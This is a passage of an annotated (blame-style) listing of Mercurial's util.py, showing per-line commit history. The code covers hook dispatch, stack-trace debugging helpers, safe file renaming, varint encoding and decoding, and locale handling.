3428 function's behavior. Hooks are called in lexicographic order,
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3429 based on the names of their sources."""
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3430
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3431 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3432 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3433
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3434 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3435 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3436
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3437 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3438 self._hooks.sort(key=lambda x: x[0])
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3439 results = []
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3440 for source, hook in self._hooks:
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3441 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3442 return results
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3443
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3444
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3446 """Yields lines for a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3448 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3449 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3450 If line is None, it yields:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3451 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3452 filepath+linenumber,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3453 function
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3454
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3455 Not be used in production code but very convenient while developing.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3456 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3457 entries = [
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3460 ][-depth:]
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3461 if entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3462 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3463 for fnln, func in entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3464 if line is None:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3465 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3466 else:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3467 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3468
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3469
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3470 def debugstacktrace(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3471 msg=b'stacktrace',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3472 skip=0,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3473 f=procutil.stderr,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3474 otherf=procutil.stdout,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3475 depth=0,
43754
02ededbef627 util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 43735
diff changeset
3476 prefix=b'',
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3477 ):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3478 """Writes a message to f (stderr) with a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3480 By default it will flush stdout first.
28496
b592564a803c util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents: 28027
diff changeset
3481 It can be used everywhere and intentionally does not require an ui object.
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3482 Not be used in production code but very convenient while developing.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3483 """
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3484 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3485 otherf.flush()
43754
02ededbef627 util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 43735
diff changeset
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3487 for line in getstackframes(skip + 1, depth=depth):
43754
02ededbef627 util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 43735
diff changeset
3488 f.write(prefix + line)
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3489 f.flush()
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3490
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3491
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3492 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3493 dst = debugstacktrace
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3494
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3495
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3496 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3497 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3498 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3499
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3500 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3501 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3502 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3503 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3504
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3505 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3506 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3507 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3508 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3509 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3510
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3511 fn = b'%s~%s' % (f, tag)
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3512 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3513 return fn
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3514 for n in itertools.count(1):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3515 fn = b'%s~%s~%s' % (f, tag, n)
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3516 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3517 return fn
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3518
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3519
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3520 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3521 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3522 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3523 if len(s) < n:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3524 raise error.Abort(
43117
8ff1ecfadcd1 cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents: 43106
diff changeset
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3526 % (len(s), n)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3527 )
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3528 return s
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3529
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3530
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3531 def uvarintencode(value):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3532 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3533
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3534 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3535 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3536 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3537 first.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3538
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3539 >>> uvarintencode(0)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3540 '\\x00'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3541 >>> uvarintencode(1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3542 '\\x01'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3543 >>> uvarintencode(127)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3544 '\\x7f'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3545 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3546 '\\xb9\\n'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3547 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3548 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3549 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3550 Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3551 ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3552 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3553 """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3554 if value < 0:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3556 bits = value & 0x7F
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3557 value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3558 bytes = []
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3559 while value:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3560 bytes.append(pycompat.bytechr(0x80 | bits))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3561 bits = value & 0x7F
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3562 value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3563 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3564
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3565 return b''.join(bytes)
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3566
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3567
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3568 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3569 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3570
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3571 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3572
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3573 >>> try:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3574 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3575 ... except ImportError:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3576 ... from io import BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3578 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3580 1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3582 127
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3584 1337
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3586 65536
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3588 Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3589 ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3591 """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3592 result = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3593 shift = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3594 while True:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3595 byte = ord(readexactly(fh, 1))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3596 result |= (byte & 0x7F) << shift
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3597 if not (byte & 0x80):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3598 return result
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3599 shift += 7
45011
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3600
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3601
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3602 # Passing the '' locale means that the locale should be set according to the
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3603 # user settings (environment variables).
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3604 # Python sometimes avoids setting the global locale settings. When interfacing
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3605 # with C code (e.g. the curses module or the Subversion bindings), the global
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3606 # locale settings must be initialized correctly. Python 2 does not initialize
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3607 # the global locale settings on interpreter startup. Python 3 sometimes
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3608 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3609 # explicitly initialize it to get consistent behavior if it's not already
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3610 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3611 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3612 # if we can remove this code.
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3613 @contextlib.contextmanager
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3614 def with_lc_ctype():
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3615 oldloc = locale.setlocale(locale.LC_CTYPE, None)
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3616 if oldloc == 'C':
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3617 try:
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3618 try:
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3619 locale.setlocale(locale.LC_CTYPE, '')
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3620 except locale.Error:
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3621 # The likely case is that the locale from the environment
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3622 # variables is unknown.
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3623 pass
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3624 yield
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3625 finally:
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3626 locale.setlocale(locale.LC_CTYPE, oldloc)
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3627 else:
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
3628 yield
45061
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3629
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3630
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3631 def _estimatememory():
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3632 """Provide an estimate for the available system memory in Bytes.
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3633
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3634 If no estimate can be provided on the platform, returns None.
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
diff changeset
3635 """
02b17231f6c3 util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents: 45019
